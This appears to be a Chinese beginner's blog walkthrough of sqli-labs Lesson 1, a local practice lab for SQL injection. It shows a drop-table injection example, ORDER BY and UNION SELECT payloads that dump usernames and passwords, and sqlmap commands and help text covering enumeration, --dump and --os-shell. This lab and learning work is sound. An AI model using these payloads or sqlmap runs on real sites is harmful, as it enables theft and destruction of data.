SQL注入:sqli-labs lesson-1 小白详解
为什么是小白详解?因为我就是小白
SQL注入早有耳闻,今天算是真正打开这个门了,但是想要跨进去应该还是没有那么容易。
在B站上听了40分钟的网课,老实说,他讲的还不错,第一遍听不懂也正常
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4
感谢博客园博客带我入门:https://www.cnblogs.com/peterpan0707007/p/7620048.html
每一个带我学习的博客、视频都值得感谢
工具准备:
- 浏览器插件:hack bar(免费版的Max hack bar 也不错)
- kali虚拟机或者sqlmap脚本
什么是SQL注入?
到目前为止我理解的sql注入无非就是:
利用sql语句的中字符匹配,注入一些恶意的代码进去
就好比有个代码:
select * from ABC where name='qqq' ;
# limit命令表示选择第0行开始往下1行的内容
#我将name的值传输为222' ;drop table ABC -- ,那么语句就是
select * from ABC where name='222' ; drop table ABC -- '
#很显然,后面的单引号被注释掉了
#然后这个恶意代码就可以在那里乱删。
这只是一方面,作为小白肯定还要学好多。
SQL注入扫描工具sqlmap

作为一个小白,我的英语也不太好(太菜了,现在到饭点了,我不配吃饭)
Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)
  Target:
    At least one of these options has to be provided to define the
    target(s)
    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs
  Request:
    These options can be used to specify how to connect to the target URL
    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly
  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts
    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value
  Detection:
    These options can be used to customize the detection phase
    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)
  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques
    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")
  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables
    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate
  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system
    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC
  General:
    These options can be used to set some general working parameters
    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target
  Miscellaneous:
    These options do not fit into any other category
    --wizard            Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'
Press Enter to continue...
这是使用 -h命令出来的说明文档,作为小白,一开始这些肯定都比较生疏。记住几个重要的
- -a, --all Retrieve everything
- -b, --banner Retrieve DBMS banner
- --current-user Retrieve DBMS current user
- --current-db Retrieve DBMS current database
- --passwords Enumerate DBMS users password hashes
- --tables Enumerate DBMS database tables
- --columns Enumerate DBMS database table columns
- --schema Enumerate DBMS schema
- --dump Dump DBMS database table entries
- --dump-all Dump all DBMS databases tables entries
- -D DB DBMS database to enumerate 检索数据库
- -T TBL DBMS database table(s) to enumerate 检索数据表
- -C COL DBMS database table column(s) to enumerate 检索数据表中的列
进入正题,开始做题
- 打开PHPstudy 开启Apache 和Mysql
- 进入地址: 127.0.0.1/sqli-libs (kali进入主机IP/sqli-labs)
我把sqli-labs的文件夹名称改成了sqli ,方便一些

题目给了提示,这个是错在单引号的问题上
进入
打开hackbar 我们要在hackbar上面检索一些东西,他们叫做“手工注入”


一段小字提示我们是和ID有关的。数据库里面的 id一般是小写。

获取一下网站

我们再重复地注入一下id,发现13号没有,但是14号又有了,15号没有,16号没有……。那么这个id的上限就是14了咯。



好了好了,我们是要找注入点,不是找有多少个id号。
题目提示了,是单引号的问题Single quotes - String
那么,我试试注入 ?id=1'

报错了一段字符串,你看好奇怪噢,怎么是双引号又是单引号的。
其实:这不一定是双引号,有可能是两个单引号!
''1'' LIMIT 0,1'
- 首先,剔除两边表示字符串的单引号,变成'1'' LIMIT 0,1
- 其次,剔除我们在1后面多加上的 ‘ ,变成'1' LIMIT 0,1
这样,显而易见,我们的sql语句很可能就是
select * from 表名 where id='数据' limit 0,1;
我们验证一下:输入数字,括号,符号等等,因为里面就是字符串,字符串里面可以是任何东西

没有报错,完全可以。
好,我们已经找到注入点了,现在我们进行更高级的操作。
使用order by 注入: 侦测数据表有多少列
order by 用于对结果集进行排序
假如我们输入...... order by 3. 那么系统会首先侦测有没有第三列的数据,如果没有, 就会报错.
所以我们使用 order by 来侦测这个数据表到底有多少列
我们正确的注入语句应该是这样的:
select * from 数据表名 where id='随便是什么都可以' order by 1/2/3/4 --+' limit 0,1
别忘了后面要注释掉
这里注释参考了博客:
https://blog.csdn.net/xiayun1995/article/details/86500605
不能直接使用# 因为url读不了
不能直接使用-- ,因为--后面要有空格或者是一个闭合字符串
--+的+会变成空格,--'会让后面形成闭合的空格字符串''
但是这里只能加+,不能使用--'.
因为!亲测不可以,会直接把最外面两个单引号变成变量

开始手动测试,15没有\13没有.......直到3,有了!

那么!这个数据表有三列,盲猜是id name 和passwd
我们的目标是管理员的密码,这不重要
使用UNION(union)联合查询
什么是联合查询?就是多个属性一起查,最后汇总在一张表上
我们让union查每个的三列,让它找不到东西,但它找过的东西都可以显示出来.

这个说明了啥?
这个说明了,Your Login name 这个东西在第二列找了
Your Password 这东西在第三列找了
多找一列,就会报错

我们何尝不把 2,3 改成user(),database()这两个函数.
这意味着我的id=1000 要在用户信息和数据库信息里面找.
很显然应该不会找到,所以他就会给我返回一个用户信息.
爆破数据库的名字
现成的工具

让它显示在第二行,调整参数就好了

爆破表名

爆破列名

爆破值
用这个语句,这个没有现成的工具,因为很多属性都要填写,不记得就百度一下吧
http://127.0.0.1/sqli/Less-1/?id=1000' union select 1,group_concat(username,0x3a,password),3 from users --+

东西都出来了,所有的东西都清晰明了.
更常用的还是sqlmap进行探测吧
手工进行实在是太累了,一旦数据库很多,数据表很大,就效率很低.

进入了sqlmap.
使用命令,
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch
-u 表示链接参数:链接一定要正确且可执行
--dbs 表示探测数据库:
--batch:表示不用一直问用户要不要继续探测

我探测到了7个数据库,但是我的目标还是security,因为刚刚通过手工注入我知道这个靶场的数据库就是security.

进入数据库,探测数据表
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables --batch
-D 表示选择数据库
--tables 表示查询数据表

查到了四个数据表,我们当然选择users,其他的和这次靶场无关
查数据表中的列
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns --batch
-T 表示选择数据表
--columns表示检索出列

查询内容
sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username,password --dump --batch
-C 表示要查找的目录,用逗号隔开
--dump 是查找元素

sqlmap固然好用,但是也不能沦为只会使用工具的工具人. 还是要多读书.
从下午三点到现在八点,五个小时入门了sql注入哈哈哈
当个小白真不容易,共勉!
SQL注入:sqli-labs lesson-1 小白详解的更多相关文章
- SQL Server日期时间格式转换字符串详解
		本文我们主要介绍了SQL Server日期时间格式转换字符串的相关知识,并给出了大量实例对其各个参数进行对比说明,希望能够对您有所帮助. 在SQL Server数据库中,SQL Server日期时间格 ... 
- SQLServer 常见SQL笔试题之语句操作题详解
		SqlServer 常见SQL笔试题之语句操作题详解 by:授客 QQ:1033553122 测试数据库 CREATE DATABASE handWriting ON PRIMARY ( name = ... 
- 小白日记45:kali渗透测试之Web渗透-SqlMap自动注入(三)-sqlmap参数详解-Optimization,Injection,Detection,Techniques,Fingerprint
		sqlmap自动注入 Optimization [优化性能参数,可提高效率] -o:指定前三个参数(--predict-output.--keep-alive.--null-connection) - ... 
- 小白日记43:kali渗透测试之Web渗透-SqlMap自动注入(一)-sqlmap参数详解TARGET
		SqlMap自动注入(一) sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞[动态页面中get/post参数.cookie.HTTP头].它由Python语言开发 ... 
- SQL Server 2008 CDC增量变更捕获详解
		1 背景: 随着公司业务的成长,数据量也随之的不断增长.随之而来的问题是在做ETL的时候,时间花费也越来越长.为了节省时间开销,我们只想要更新最新的数据,不想要把公司历年所有的数据都进行处理.这种情况 ... 
- Spring中的注入方式  和使用的注解   详解
		注解:http://www.cnblogs.com/liangxiaofeng/p/6390868.html 注入方式:http://www.cnblogs.com/java-class/p/4727 ... 
- SQL Server 默认跟踪(Trace)捕获事件详解
		SQL Server 默认跟踪 -- 捕获事件详解 哪些具体事件默认跟踪文件能够捕获到? --returns full list of events SELECT * FROM sys.trace_e ... 
- SQL SERVER 2012安装配置说明(多图详解)
		1. 优先安装软件 1. net framework3.5. 2. 在安装SQL SERVER 2012前需要3.5的支持.在WIN 2012系统可以在系统管理的添加角色和功能中安装,如下将[.NET ... 
- 动态SQL各个标签作用以及注意事项详解
		创建com.mybatis包,包含:UserMapper.xml和mybatis-config.xml UserMapper.xml代码: <?xml version="1.0&quo ... 
随机推荐
- Megengine量化
			Megengine量化 量化指的是将浮点数模型(一般是32位浮点数)的权重或激活值用位数更少的数值类型(比如8位整数.16位浮点数)来近似表示的过程. 量化后的模型会占用更小的存储空间,还能够利用许多 ... 
- 3D点云完美匹配
			3D点云完美匹配 The Perfect Match: 3D Point Cloud Matching with Smoothed Densities 地址链接: http://openaccess. ... 
- 新特性,推荐一款超强接口管理神器 Apifox
			去年,在公众号给大家推荐了一款新面市不久的接口测试神器:Apifox,如果还未了解的读者,感兴趣的话可查阅原文:推荐一款技术人必备的接口测试神器:Apifox 为了照顾新进来的读者,且最近一年,Api ... 
- 浪潮 ClusterEngineV4.0 任意命令执行
			1.浪潮ClusterEngineV4.0 任意命令执行 影响版本 ClusterEngineV4.0 2.漏洞影响 远程代码执行 3.复现 fofa语句 title='TSCEV4.0' 抓包构造e ... 
- 『动善时』JMeter基础 — 44、JMeter对数据库的更新操作
			目录 1.执行一条insert语句 2.insert语句实现参数化 3.一次执行多条insert语句 4.使用Beanshell生成加密数据示例 (1)测试计划内包含的元件 (2)JDBC连接配置组件 ... 
- Golang学习(用代码来学习) - 第四篇
			/** 一个用来进行go routine的函数 */ func print_something(msg string){ for i:= 0;i < 5;i++{ time.Sleep(1 * ... 
- react的三大属性
			react的三大属性 state props refs props 来自外部属性 states 来自内部状态 refs 用于表示组件内某个元素 state基础(最重要的属性) state是组件对象最 ... 
- js笔记15
			DOM2动态创建节点 1.生成节点的方法 document.createElement("div") 2.插入节点的方法 父元素.appendChild(新节点) 在父节点的子节点 ... 
- 每日三道面试题,通往自由的道路10——JMM篇
			茫茫人海千千万万,感谢这一秒你看到这里.希望我的面试题系列能对你的有所帮助!共勉! 愿你在未来的日子,保持热爱,奔赴山海! 每日三道面试题,成就更好自我 今天我们还是继续聊聊多线程的一些其他话题吧! ... 
- Unity触发碰撞
			原文链接:Unity触发碰撞介绍 3D触发器与碰撞器 触发信息检测: 1.MonoBehaviour.OnTriggerEnter(Collider collider)当进入触发器 2.MonoBeh ... 
